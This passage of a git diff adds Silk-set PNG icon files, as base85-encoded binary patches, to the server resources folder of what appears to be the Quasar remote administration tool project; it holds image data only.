zw^r8Qiz`Pf!MH#qHgCJzIdX%JQv{b^P9PMW1JgJRjUo_?B(wI1%D&=a`4H_(u&JmJ z6-6%GelobqEJ4?kIK6rRadm1bWt~#gtn>xfk?j_66*nR}+l{GdFG|MElT&lkSRhfh{ zHwWz33*>J;hWMvf_->SdL`)I156nQkX{An33x#aslBIdL&W-&?&H;-740k+7^{Gox zV?%h{5rjHvC-)OjpZ0uEK1TJhYeO~GZrO`aOi8S-Y{0hdm8hxN4W}y(o(zMS!RFtg zxb^~?s}_)@eR=)oQ$FtZ```L}zFu0N?Cb3r+*vR^ms3~{9v>y&1ggBH;93+8$2dGY zyl8347?qAny3Z77t38|RIe0IBVJK^*fBipOW+}dn1u@=r?U_B@t22_CBk;hR5cKLyQ7s6|!W3KN{|4Nj Vo8&VeC8+=a002ovPDHLkV1kBFM!o<5 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png new file mode 100755 index 0000000000000000000000000000000000000000..e9853fd11f9fd52e308a9d4242bb8a74aabf5087 GIT binary patch literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbMf)c~Im*Z=?jYr=qa@s{iJ3t>D> zv)uJSwtdA8m9RN#W`64C{u&km8qo_htpc^IgLD&@8l|rSssZY9sNCsPv)iR^uWQ3T z_vV8>mWqDX$^o`&LH3#-|?=@4x!)z?CPtM>&-tW!TJZoN7H6CB^x!bA3IJ4bl-J5*p8U76FoDn&j z_`VB#-P(QW*@R8nJEw9j$ysXkLxVeusU}3Y?iT~&DJM6h-5zy7%Naaf{an^LB{Ts5 D=Fqn4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png new file mode 100755 index 0000000000000000000000000000000000000000..1c296a6aa06dfe126d5797d9bcf450c949ac95b9 GIT binary patch literal 699 zcmV;s0!00ZP)E4dEz%xDk41~1Rl9;{Q|l4}F|eS8iylz4ix#b- z2uqU?YoWCXGkb`pw@3`F?Edff&CJ*0s+)=e2ZqC$#o^2uCJG@im&#&}mD7Lg^oXjK znklM+sz<~l;%3o%hlp!C(A2s2Hvv^GE!?(`5R{-sFu_a-Dg^bI3PFVz_ipa_qXQ9- znUJ1L5>znpnEDKg!^E**@p7)^wQ%M9lc1ugsEU`9U6=M>&k=DHRUiE4uG-l_WV+R*P#2>v#(a#4 zCl<$wf+|`&chd82bXFk8xfm74{Jf$};*v@J>bEvRw#S*^Ci*GOUrklQ$TRAAyBfB<)5DYUT1S3pi>G1@+YmTA8P*aS+=gAQg3k!Mn;W52KPl+|XB{bNz8ymlY4I5ZeT<8K)pAK?919}}r@hQ7XM!^$13DXAltFdl^vsIIQw z4zvI%;0AE2_6%DOtv`X7BBp3CK1~jjzo?j(AG>+<`r%inG(>-Uro&e&EOriOj#wO( z1vSx@iaqoUchf%5_Sp#y$>z`({qHxfYs#9cE341#9B3bPMnkeWyaD)cfr`dxN-aA# hWm@s2ISkIse*qhAp}qdd4(I>?002ovPDHLkV1g_sL3#iH literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png new file mode 100755 index 0000000000000000000000000000000000000000..5e6663e5c4abc40cc076fe45ee627e332d8e4412 GIT binary patch literal 775 zcmV+i1Ni)jP) zss$BMK`ojTfnEp>@j@`Sskt1w&-de;({q-MqM!?3czDip&iQ>j=RHReLSQFf4R-jc z^N+418Do1nXJE{vFkqT8^lCN?Io98tycs+37l8z~gd-4wK`;)%O-M39WP-?eC7YOe zK6(6~4x|bvkhYnwY~-?*K$%HhhSl!HMB{BdxbdF0kW-Vq8s_Er-TsHFwCD*A{I^#Y zdxvZ14uNrj}_2nYw(>XAm!_-NE!qix`-tV)46rq~}2mKCowL5U{ z@n>hH1;fyA(H%#zW@+29K^FC@eOd2n_G2V@81@DQORHG~S{*QS162Y}r_A)yHqfX7 zWft4#ApwTTkx1rIB3D%cT`yOFb&a0NiI+=dB$o0>6&vAd@nSW-h$EH~6up4hvq^Yc zn(<|31Ffoto}M0?IvM{4@o|Fw1P2!!tj>XB{bw+A;VcS;0+Pvnc>U@Hx@xC!YG4=* z_4Qa;SwX#Z8gIYbuPgE@2ZO=Ia5&svEEeH*yT$q8Vdc))7`C>ygwN+wLZMIvl*wd} zPN!kF+c7#iifA;t`RghVO-)UGnwy*Z>U26yIWaps`yrptmj(w1(cRsRNF;*3zCPq~ zIVRWSo~EWIt11VHL?TYr^UL zR(^kt)XIU5j*h3jy}f(d+S<6Ps?N2wH7qPFz-qO^@At#w@zA?4HK_Ee zZ1H-%AySM|?`{HF?yH002ovPDHLk FV1k}6a9;ob literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png new file mode 100755 index 0000000000000000000000000000000000000000..ca9db06e21638bf028efb8ac88eb121c4cef218c GIT binary patch literal 648 zcmV;30(bq1P)imus{w%?+| z=&Q@_z1#Y~-1?eg8>MY4v3Wd}xZ$6`=f2zeij$&+sn(3J+o;Iwug~$h*Y~^G`F5Pm zon;@Wa4@xfLGC6ll9Zk55gdD<(0`@VuFmkZ)AYF3_K~Q^mtPp1y5F5=BAvV6uF2@N z&+NC*?Yq|Vyp2`8)$qO8^T68l!P@k~+w{ZS^u*ls#g}Bo-Sx)Z^~afJ$KLhG-Sf!a z^~m4#$=~(L;PuPl_ROMn%;EOT;`q(s_08h>&ZKtE;`Y$u_0Z$?(dGBjiOR5`QGgM-|YF}?fK&E`Qq;R(8!JX)gg6PYu>ywA< z8YAtSjqWBc@S&0MH9GRAmGg0P^hHSbR95+be)?l#{BLd1p@F9W001v^QchC<0s;a8 z0s;dD1_l}@CntxOmzS59m#wX>z`(%X+A0K_x=6-{rxHHNbmpv0I5kt zK~xyiV_?7pY@$kfx(dQ9Fg~lae|&OMw51diR6xWxB_hx(IM!4UDxeq_;p6G%=oKUf z70^xe@o=#(Dk&~3$W;dk=p?v1+1Zrj*IYP=8;MgduEEoB++^Z->JB=>SjIHWqOAp3w*+#<#R#ZMe! iM*OJ0Waq}>bp`gNuvOO$0ks zMIj=HnnBRUR?tKXG11rxCU4&7dG4NbuvR2_mEvc)n?Cow;~Wve|KR^>9@p5l)|QB+ z$jmun3q#x>;ss-PW_mnr2MHVzLAl1RW&0?VkixF*4t!St0YVb2wnKdU(kmOHiL;aW zK8Xte%(k>MVGG$E4no6dcNnb>BhVHHGD&1pv4YZ68kE2V03t5#PCEFm7=ad$6)+3B zTCmn*?A?=u(o~ET7~-7g0)ZB=6|lumi4}B}MLgy~Ysy6)Q5%Al7|05&1z3Jpu>cF8 z3?VXs*3<}%h3`5Wld)N2zJnk%Agw<~3k)sPTLFd=F5;d8-bj-09SkQuynfflNcZLN z!^_37fdZvzrq=9~mp*($%mcDRKC&qvaaZuX+C=AT6O*~tHl>0mcP<_q>-z%$xO(@! zYluq5a8VQI$S@4?r*v;gPo!QQ%pX3A#>xx4t=w-L6COWx?aj&`f+!YePsFtj=hOQR zP3=E2j@9L7s8;T^&s?u(Hdpu?CubjMrGn{t_37>9$|AD)QE08weJlKn8|OyjL~7oP zC8mPT`jzuH*Dh^I0048RGafUIT)4H~*m8m>egI0iH=(LB%b@@O002ovPDHLkV1lw0 B3PJeIiOpTOt7+xm)=qJ^o}sL1TE&+)m}_q*BocAU+fWgn<;FhGVm zFK{YftyVg2Dtn;Nf2Gr|&hWI;^tjgcF>@?4buKk{FE@KJK7TzxhB-!#KTw)TQK#RB*j%c(r7EuwH($V1%}1jJj-;zjK#g z7@EU)oVwqf#Ce@(BB#oNuF2@P(Cxd{^Sq5!z18r&*z>^J^ugNn!rS!2-1NlU^u?EC z#ohJB-Sx+rX2;(3$ldeE-u1}e^~vA$%HZ|O;r7g;bD1 z_xJt%{r&y@YEC2u00022NklVpJi z@{&V>0xgX#oJ{moKmr23`LTh1A=!p@x)3v%#eGt9vSK_8bkukuB8>df8tMvCN!95} zJV@^45(}@2QbhIvr>K9S8;YMeM7;P=eaX&^#p?_J8!sS>ban#G00000NkvXXu0mjf DTWxIG literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png new file mode 100755 index 0000000000000000000000000000000000000000..25d6ea91d1a333470832b933af79184039c98e1f GIT binary patch literal 629 zcmV-*0*d{KP)v4+f|_@RWw>5)RM`NuV&uI^xiO$D8`6BxXk0tJ?EWs<_-8>2;-) zWKcp3o`T%Jbv8DZ00H?+2@8dyT21gt$m6G*2l$?iC6Iztstut4r2wd-3P8bM5!|^x z6MJ9rp47dzLZAW(K~IDt2)_Q5!O~ibDk+Onsseb-MV?(yFmrC!xqLisbKh@i`-x=iJSj(h!<$+YCJC zMh+7C(a}Ik*keF=COGS#EATV${Oe*7f!k~yXly>8nc$8|D~`n~7tbU)p80iOW6x*> zfhd3a=HED-HQ7{p(#WSK4HSf6DS~k8V+{yoc_aZyUS8kc%l3kxbZR=z9LMhG;Wrw3 z8^CWiKHr1Xmw!h<2Y=(jgSQm?7a{$E6f%b+jDrMKM)1nw&G3%||GEwVKPFC*l;udx P00000NkvXXu0mjfxkDO? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png new file mode 100755 index 0000000000000000000000000000000000000000..f90ef25ec7f1cb0fdae38d9fe2d9edeee9928ef1 GIT binary patch literal 804 zcmV+<1Ka$GP)mbpQb1@7I~O+ue5CWtZi#AZox@gcwb{Xkx^Rf;Ty8yn6DWhJV4kC*wg94<7Vt zlteKm5+jKLV^qM1yt2HO4YZw^&a^Wfzb_m+@y40e_0^+M6ajz$03Zl}fU=sqfA9W} z@#^~O(a%3QB{YI^J_A4y)M^1_vjjn1H`Mc5t@6>y50A!C6seTL>`UqQ7p$DgY@K|> zQm^as;HM{#Qwj<3}(>R-AM4&+cd0t49%y2X`UaCBJg8YmB)K#uA{Z>9n zOp8>WCg#&r06`o8oz6gaIn`fY2FR)ssCr@3rc|5f%`bIJO$zbt__PK3gH51Sff`H}0ZWac9&q~*( zO@qNscV0VSU%X#sYO9)Qx4M=(eR(m}UFhondELHSnO2hr&mMO3 zv6gmw!P2y#u0c!?LPO88NyxOTj>XWm>*77F&55fo9Z?)iynObdfA;SdwVRl$W~G3* zEGt!2+1T-%ja32&!XdoMS_mM#IQK#{6D_nvjYu`GlvO3XdE)qYJJ;7%4Eq2Gf?M=uT9%H^ z8mm>^ym`Tm?6?O@iCV4h@k*i;m#t2+H|C_oG_K0ZUyH!)t9 zyt~8Xrz-|8Z%~=;n(eJ9SD&=DQc@l%Yqok=B@hunr_+_CEy-%4IhOnPSvp_*rN}#? z-f5k7s@KhQvedAb2_T3AV03gswVoNT*FpKMEk-{$FV3H`v2jgjv~5%Mipt26Ui+?6 z^tOOF0GdfAO}ohay70)oeq{YKx#v#Yv~V!Xh2@6AiwZM}BW3p*+TVj&2qPds6D z&~>@ha<^ADH96(czF^dCwVE49N@+h}!!>jVp_u}(=ED!IB0$PL2Qr=e?sTvy{x27_t zx~6K&d}8zc1xwkAa;SP^`+MNXzT=*r*{LuT5rhz_sjG&XNnj=^34AL7flM9_nKD# O0000rXG#NL7kjUIN;Xf(FQ!U7F;#?Ic#SV*+6vCtSr zB4QNKU_yitIYM&0)PsZLfW4iWo!Q;F@%zI3(O1sQ%*`CER;vIY000OAAYfRmd-&kt zFVW20%)!q;IU!Vn;rajoK~O3MkPc!5Wm!?Kmr8~AkH2>?s#dECLt*fhlksHmlF(cJx=(n%j-lt7;=P-L#K20u=(tvRo3UI%^%>@xtT1WMAG?7MV)_ zq^uX~=ZP$dt@jfF1W^Dq8k3r>M7z}jwKsNZ96K*6p0Z`;s;tqowRuH-WJSMsTeb40 zfG7aEokSexNL*Z6_RpYVWchn(3)&%ZGwPCx`Bwy=Sy@-~QJ>P~Y{O-j$y$oIhjtlcoxkW$DjUSh9EwYSUC5sZBq?VwWhl=bbF<0 zadMyV>e0hLZkU^Wxmt@51V8`)JfGaM{q98*St1@Cv)JD2>~Pbm{{g6=P22q_L-GIs N002ovPDHLkV1gmUl12ak literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..93d4d7e5ff6c719515b90f39169103a252592951 GIT binary patch literal 876 zcmV-y1C#uTP)<~|mI`fywX|v|Ht`@Blg5Km<3)}{Z-f&EHT($e=$1y4^7g5>CQYRjDG3sv zr}oVZU6(`3r}omBbGUo=I&-x%+%Nm&axM=yeUxcYsYSeTL}Qr>gB`xVi9c#n2?D}P zw+VtZf*?Q|Gc@W|>S2{;J)m9>NTM1dEkH1ZZJt*I9kc6XH@x!;nb&$K_3b7bFHld0 z$>np{%D}X2f-pj)0SG4l5PaV!2&z!Z5_KgwpUuN_Ep&L5xN(@UYEW!m;Xvgg%6XdF zg)8iLJ22Vdc_q*>dC$c^F-F(>n= zXp5o-wID=9Q|(MqPe62T5&e3BeEkf=eZx5YhuB(}!L*Y zZPu|tvTt5PRTZPXLwG|k(pdWxdzbLX>>ZMp;*+@;L)cdJYXm_9zf$9;)d!qkSmNfv zEwZMIw{ME*{s)Nl2+PUQ5iVm-Oi_sy1|kUH=6j(d&uo~m+_WfGA2D`l9Pja0iB{jk zuwt5(LCW7vbI&MZ6bEQC`J2|7>6ImBR`1|AIjnp0j5vdoo}8lj;6s$HiTnZ9zrVqc z`$j2ub}(gUXfp)}lN#kTCSyC;iz|$0M@U*F)^5E^SIH*Y+QY{6pSkhW1lsGOv)KTx zX){0&G05TKNDga$nX$vi$*f%C_X|HT`}Gz#zq*RMxEsUl#KywLB8?LSFq0%DO;h^2 z$LTM?=O3M;`P-Ka9e5tUyvfR~dG?t&}89kynmRT`ZP*UQ(6` z2$k6{7#}S1?C2onmN30uAk-P!gdGA&l2U$HzVsJ$Njv@DAMu|600000;GBGqrEGw;Tan07PX6DVCH*elYzhBsU=<(Atb2GcE)hYl8004pj2*~on z?Z0oIsm;vI?0)<8cZ5oi6(axyL8%l#Jcc44urK8oFbZfPvTC3~!6G!%z>b0s0K&P{+vu#W_io~a`h@zXK zC=!O33<^$5v$zuQxtBw2-c%}R$1S$lOBt!iu*6DWiCUXC7B{^|j znI|ggXHNdO-trP-k0nqF8MbQv_-{1JlsVf(hkEGJ?evxLG4bxj~o4;Q#>3iv`_q_Jh zegQQh2$-Cj*Ug50h+}`Gby<;mbo&u`S;&iAp|sptvSZT&qIBTd5BAs*o>qghES+Ea z-K85pYc^YwB#~sPyeurP{%TZYvSMVEk93DUJ2yWl8pX~I-c<{Tv%ZylWPGe?qS2NN zQ%RP{^2{BR3$h}YmxY_1KTS91U0nLc<>f2x?H*7g2%(~7(jdgf^M*B{Db5nd&%Gio zQc0G&dv?2BcRl99;@8eEp7ZL#6Fxrnsalrh@;tY3dZ&#u1Q6`n@+1f$fWyb`6Dkdt zmoIzc@P{@|Ey(gugnfse_OahVzBqrvaduZl%W_EUGX2~lqZrjZY@1Ab7<46l2Np>VpckHIA{JYE2^no-@h1mtO>BKaj zm`_vFX{stRAuJHY0Wch{(UkVSzrsg<>b|vV{ooUp${VKDG5t|rCu)h?9cf+&VTPau z1WA%e(}~CHwcUM{>DSk(7n=OMa+b;`nR1q!6`A=g7eWJKfZ=eRrZgH3B=0?A-zPh& zmk;W$&K#NVX!j1=+l{n4ZIgVCT>>!y6va%I=0a#pmTS>*reFN+r<12mn}y>3Rh>8% zRf+D>svt%X2f)(ONNYMIlWy-6$w#rLqpHMFW~Z zF)cKmF^B{5DzjCWx}BcorJ-Ur*W1&RB^N#1JZLl?D@Ec~@ZjH4oZWHv_sbwA2%)8K zU>b7Wddc3?a;~zhsFdD zgkyM>qalEm$--vTa`)1X?Q6d|a{PJE-u*^+^UNFHuC1@W7PVsp0T2KH5CEP0fs-q> bqL}#~;%Pj^C=){W00000NkvXXu0mjfH4Ss< literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png new file mode 100755 index 0000000000000000000000000000000000000000..5f8a6d65d5b04eb7c08704bc3e13e4aa58d8236f GIT binary patch literal 640 zcmV-`0)PF9P)`P1v}r1H+ja=6UDkoHNeMI34Nf6XW_#WMcyp!BRqF zM29h3TEaejqW$r`J7sE&j8Vu&Kou$XB3Ou{$X^0cFcH*yRHPIVIa}8z2vp7qgot?$ zb8{r`QSV9KlZpa2Kab`EEQJ3!2yxXN?yWR#^=aL$L#;YIcSv3kKJSu3T>Ym&{r>&| zQt8JV4=?!oEGbnmDR7dL4fbhP-uB(SbTG=e(<<1TJGa5T3k%O@d}yHgFQhoZVu48j zSEbQ(OnrUXCEA1R+3xoF93<(;wMR2vTBN*33MFVUphb@Kev%*cC}x*u^f-0Kl4vT6 zv3&&{9G9R3kcdW)NkHQO`F+ShrogAg@f@g4t5vaBpc1eYQ7PdRh9bToc|nt#o=`?B zn@HlB^|P6VQ394crW5+W)Q(*2gQoM=#g}=A9#9Yuk)v@3DQ?z!d$?MLrf|-B`EsI? zwP^YuNMLi^!9dq)JFmN$%c*2dP{mUDCorShYSU)G0+SKqfs a@BaZ*f3CHDs;P1S0000gn_Py*^3f)*N7*a%wSf-Fz>>todNGT#B=>)M`EK;mZ{((hAK@ludS}2Hw zNSYLa2#Jj$$oi4RO*U`e%>A->o4D&H7Y>(U?m2TfbDf#txbDBZYd5Z3$5v+pVhT|i zK*7qmdZB^mYcKHT;d^(?i7`}647Ge%RKTi({tqGWFy%jiz%T$^ys}?={qOs|c<%NjP0!#+A{b|IoMO7ai(5OddrPx!Z`UzyvIl#oj^prg?wT`16pfYNmeVzk(01B`N2%T{ULhEt& z3tXH)C5%|lUlv43872P%9I!s_psy?O*0XlvQbb7!P=yJ>hyXJb%2gDr3F1#1ZPRFF zY!3h+JifdHMk~xO*0YI=5LTE^0ZK7(w2OFaqpj?g&#msPo+b%707*qoM6N<$g0NH=B>(^b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png new file mode 100755 index 0000000000000000000000000000000000000000..ed3f43eb02ed2a663bc7e7d90ee1db42d66809b8 GIT binary patch literal 646 zcmV;10(t$3P)tEd$*D0XNa#H~{u@&`DHPzMJWk%F7xR2(`~hfa=lsOTVF#lJyH zOHm36RcKx8VuTuuO>XYJ-}&K?wj?Ha;Bc1jdC$xHoygreuA9%^`~6#2+5FzX#8EX= z4O2tJs7;?|Wo?^}D|ez}rbthjDrSy^BT%|irQ0HoiuNM?0w>#ocA*~lMDQPhLZ1Us z+DYKj=`tbLzP@s%LMzEo{jUREI{5No@!o|^E|&KgwKf2WSNOpcuXkoJDK7OgQE!O8 zR+~?>{5-yX_f#lNqFTTuC6a`=vroSJwlz-jxcKnX>VSa1xiJgTyL{$JHOtFb@*7Fp zct~-{AsV4P8Zox}qE7JJ@uQus{tQ$W?e}5KIouh%f;#G_z_YrsPQcSb7Xl*eO=pEv4mh2^1#ls~;X zkFb=_%vICUWmF8$5(o*U_CCe!jk-y+cy@Jfb*KP9x-dO!Embb5TU#BEo3hLTZ;4)MjYmq6dlVGHB7JO-msN z%Iqno2vOD`2re>_p`5{)x!%`#bpc5{(Fd&5_<9L0}=-hfsKtp zG6u;x1f>wAZ1(m-zIl&|@mB0pZ&ET3uh0fe{L0VfOY)AF@|54!6J0vqV7&&esb|S34l$G`gnC-%!Nr9`L zT?xYH7MH+67VWrH>4lrXc}QJBoz85S&LX0r=N9SaOWO&Eo`QUq=u+jVf9!Uh=SP&> zRWNr=`Qj=PC7YBX5+x{~f1C!DeddkS^i~fzOR~1hbsmd>+c_n*2$a-^aBZ;M3hZnS zZqvm&QQ*lPCQ8A2XvKaAr%(jyQ<)ka^@3VZ2P~g~!^#1V_w4jQ$heSYfn=cxxSo3v z%>82i?By`CoJKz0QB$~oI=^aVhhIMUcCTcjEdE4{Zb;t+*#NloYy;?GnP8hj4 z5W`d){ub#v{#Yw8NhQv=UkloAoq2+my+?EzEh=!tkn!bd+9WnYW>hH=fe-o(K#e)C z3`{LgVrZ;CAQ*bxkA>f}x^x2q(4o$OSW_gizPutkB}q|t_6^+V3@d4#S6cP=u>S~Dhet_ drXDUQ{{mj?xUREc-`xNJ002ovPDHLkV1i_JQQZIl literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..d32aed727a274c60dbba1060637b25791ddd2ae3 GIT binary patch literal 730 zcmV<00ww*4P)W2cRU zi9*0MK@d@5KvX0|iTTn?&iCHko!zl`lS`uLz%sK7zlYxpJ4RIj2$wD@yZ0hPL#PNE z0?~WoQZ5}ojy@k|-HT_2RZ(0nR*Q6%FpA`N5!8A9j1_%2RrG=1I2`(3^cf>43sGA8f6YGn)P#lOSdW(u9`Z}^OM_pRMhMvD?5Osaj1oatF92z`Pa&d5Zu6`P$ z`eK}HdTL|nElvP;dk5vt(hxQOMB*FP8z(rbpT~((W8b+eGiHu|c{08+mxqNb?)bbN~PV M07*qoM6N<$f>3)(#Q*>R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png new file mode 100755 index 0000000000000000000000000000000000000000..87584dc95898d855855de134f117edbbe77c81ea GIT binary patch literal 629 zcmV-*0*d{KP)Z>d?i4qd16vfQzD=mMU~8 zN|%D0Lq)_&gV<4&f zpuMp&KaagxW8&>f()W}Zs$r8288yc4I!3Gr!gBs2b8q(cLfTTC=<7Ux4zR z_uJ;uHfQc0WBfcuN~$?YXrX%_DaIbQb-`^9dy@Vy#CNA=FkUkKsAi?(Xlz3KjY)=y zgCqe7v^VPwDY#O*W*ht7z$DZ;eXnNa6IlEOl4Ig}%259u(~PlmH)~;!`p6YD7PF;^ zOIX~))b-?ha+r3|@RM}>Bq3vVYH1nM9Mt#Z1`-F-1`EW3>L@@IEP@t;=>5}W zkO=d{;*dVjC`}73%))`_ZU8}%qC?1Ojsk*Pm)#ALq_jW2^hOJ$=~42XuXI|hj{wB6 z+}^z3P`3-EG0Y++y(B0}d6MW7K0SZc$TOBl`T$_(adJZfOOuzc*DBSskQf#-q-c?S z+hXhK>qefjIQPt+90~yV{2-YrTGXRsRwC8l!F6c5jCB!~=U#Lhs9%2ozn-rxJP9Nk P00000NkvXXu0mjf!(1iX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png new file mode 100755 index 0000000000000000000000000000000000000000..fa3a15dd67285af0074b69bb46f3df2860ee7dfc GIT binary patch literal 641 zcmV-{0)G98P)W=215y}4!=PhViQzKob6 zDm^JtBWDj)c(U-6#XIkkeoc;{h#{iZJuE6j)m|RR`#4;(3*aMW5JZL`U8!n!uM>6v zGQ*4DBYDQiX9@&~cnNq31c~IcMT#~~@ZtXsf{%0c_4l(^^Pee&bqeNCHJX~`mmcQr zCnfke_g}!XV;?qJ@nf?%b$gt#Qy3W%Z8I4fjBkJ8VEsY!@_Dy0T$A*>5SNckV=Qpu zVcD{iXskp0i%E)!gCqe7G*_!N@mwljv6UTvU=pevy<4{20WAIjX=CDgO3}_wOj8Oc zZ0^+cLNBD_!gl}eH0Mfl5DMzB-x$zrI#&` z$rNdCey7!7X#^mS`R3}qnz}8>7BGvL^qin1xe206`1D6^WEW2V9G~OIZ?Oe&$to bfco(d?EI=iCbwn$00000NkvXXu0mjfNkJU) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png new file mode 100755 index 0000000000000000000000000000000000000000..ef1b08b9203d3f24f734288042fe49c9a761330b GIT binary patch literal 634 zcmV-=0)_pFP)MJBXWuWa>}^3xbUnyTHuo)Wv)6?Z%}^KK!Vm-Vjkl z6cxpLr95$jg=edLTDTf?JUMzwMNl=oYa4y5i*Lz$L%j4_`T@JsoU}|m=3U?(K&CH& z7s96Fcwq>aN}t9L4bx~Qi2OH!%>DVcJbP{89Y+hF$p>{*jnIu!b!U0{_ODm z!0%uZViH3TfH)efm8zs%E?u{kz8#pj3gdT6mOG63EszM4xUCRPeq$PvKYgp@wy6y4 zKz&-yj-JE(Hl}e~Nn0_dP1OA*Gja?UQXaU1suV4g!!!a-+KRi97^DH_@F~SXfGC&; zO}o)M)1{jTOYrGFf1qA!=IWTaJ<;PX1Vz#&E}}LFaPg9Ct`G#-{`k`F=E!7*i8g-H ztg|!#keK<#>iw$5n~=?8<}qm}K?!mNd>rug<(q00GQaO5Z9EBP#4%Smf3tL;I01oS zK19+w;jeYppTDg}A+ysjY;j)z!1o8iR9dIvW6I(wx&-1TwK!x+g!$=Ltq1DVKeyPk U$*;Edh5!Hn07*qoM6N<$g5h`|PXGV_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png new file mode 100755 index 0000000000000000000000000000000000000000..dcade0d8db1e2f08bea2b150c3a6cfe46f694726 GIT binary patch literal 733 zcmV<30wVp1P)D>BNLRMw2ieX^Xozu6uvH&7^%eKL znC@8!5S)MYO_U$9;ldIcHzWA?u7;;exbjDm+^x`csBd!to`_%uTlOK`rL{LNnI@bm zf~g=jLaYMM1FH#N7shSE@%#xH{^t$E>H=#o=OtK%nBQP)h*fn(xOf6_5xGsL^14i6 zUIb^7w#?$4h$$mZ)fLyJ5LdEUM)zrEP>k&f4ggpBa z@$x&AY7v!csq#B4UVqR%axHaW9f$#!{Ix!PyHz|ME%V+qa_Hb*TADZU?8DuqL+@W+ z-G64yGCz%Ai=s=2=sDI?-Tzc%_m*8)-?D4<5v-@#zvBSF=@g*VfSnq~^D^LKa4MBe z`$Tz?thaF^ykuG$HZ^8u`)Cw$#K?$i`ya)=nj)}7#}gp+(28>FZIBmg~+ zPcl037C`v`&7CrABD$s?UK~#*-r;4M@E5h<=hi}IB}dmUXXx!94FueK*GGdFF!1ID zK(9CbodG`I@b)Do3P#ap4b3_RRi&sR25zocS@{_R$AP6l1?U^PJy!Sw9~HhWDlkR3 P00000NkvXXu0mjf{{l-G literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..84b06d5bfdeebc87c663962937c9ea0e8a956bb2 GIT binary patch literal 724 zcmV;_0xSKAP)HY|*JfU$_R_$b0#TLxJ>S10}f2<8B> zL81s68gNmBk0M+Y;j~6&GWcQ%iR1q`h|Lx9uiKM{ev&*o4mATEgXcI|+6M zaRtO_PzszO-`_UuVh*QI$jd+8K%8l#{&HFpD-rt(TnTZyq5?h|MSOwOmeXmIqwTL1 zyp5Z}CA$!tL%gmisz@Wgh&NLNwQDg2n*IiOR~G~c#FxNF73q07&1mm?M*AL8{E=Am zF`M`f+&<7{JIes)K`i)q-umoxry1@0K=HF-_pwVXYTQBTO;`Qf=h>^-{mDX5UcpU@ znMTAcuwK@{vwkxBj*$A)jkTs`7I76Pc*0eSDZY9H9qWl&6;rK>+{hR%lp!_y z8-Lzar<~!+vOOo$$-2#;1hEBNJk7wPUJ9RPs9)_!1cS_sS-y^h&S+_$0|0!vq4vhp zv{_A)v(%XgbdgD2prTM)VvGS_-qj_8gF|p19)P(nFwXL0DoD6AFDg=h=3|k~IRy4M=>;3cvvoB9REhVzD5)-R{V; ztdmly^tR#wN-bwHncQqP1H&-D!yBL=0vbct_24|8&*xB0dBa2m6-W(rcFFayI|V0O zEEbSVCIJ-`HaxIxJ569-41x#Zcj!lY8^JGF%`Wo1U#H_L;37nKHp1{6euL@ zHi90_Pfqi$V$fMU9*6OGOlo@@1UOf%-|vqUMS(;jvEl)BCi7%jhEAt5LW0`HJD}BS zwJuOeRnxSbs;WP)GgLE~OrYIvkMOoCjYi{kD*>%~y{;ii8M_qdX2@JDnqu@YYRzWz bO~ii#xW2)!uhIgp00000NkvXXu0mjf1kCtz literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png new file mode 100755 index 0000000000000000000000000000000000000000..2e0fe75c904b499fbe379a709f324babc75d1aa9 GIT binary patch literal 600 zcmV-e0;m0nP)PbXFR5;6Z zQax)TQ53y1k)0Vo8W9xy1?kpenZ_pNZnOCdDS}O!KnerFBCud(uPZEUtA%Bng%uLr3#se)N9A-Q{mh)+9g~oN*B0mQ00Qh~4);e4nc&Zv^m=46z_kM79tp7M*R_ 